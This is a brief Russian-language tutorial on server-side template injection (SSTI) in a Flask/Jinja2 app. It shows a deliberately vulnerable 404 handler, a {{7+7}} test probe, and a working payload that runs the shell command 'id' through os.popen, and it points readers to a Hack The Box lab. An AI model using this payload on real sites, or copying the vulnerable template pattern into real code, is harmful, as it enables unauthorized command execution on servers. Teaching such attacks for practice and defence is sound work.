Взлом сайта за 10 секунд или SSTI
Сегодня мы поговорим о таком типе атак как SSTI, что же оно из себя представляет?
Шаблонизатор - это программа, позволяющая веб-сайтам отделять логику программирования от отображения данных при создании динамических веб-страниц.
@app.errorhandler(404) def page_not_found(e): template = '''{%% extends "layout.html" %%} {%% block body %%} <div class="center-content error"> <h1>Opps! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404
Название запрашеваемой страницы обрабатывается и реднерится на странице. Вот что мы получим перейдя на несуществующую страницу:
Что в этом может быть опасного? Давайте тестировать!
Никогда нельзя доверять пользовательскому вводу. Пример кода выше обрабатывает пользовательский ввод таким образом, что становится возможным исполнять команды, как можно протестировать наличие уязвимости?
Давайте перейдем на страницу invalid{{7+7}}
Движок обработал 7+7 как 14, это фактически означает что сейчас мы можем исполнить любой код. Чтобы найти нужный вам эксплоит можно просто загуглить название движка и добавить "ssti exploit". В данном случае чтобы исполнить команду "id" нам нужно ввести:{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
SSTI - очень легкая атака которая позволяет взломать сайт за секунды. Вы можете попрактиковаться и легально! Создайте аккаунт на сервисе Hack The Box и пройдите простую лабораторию https://app.hackthebox.com/challenges/152.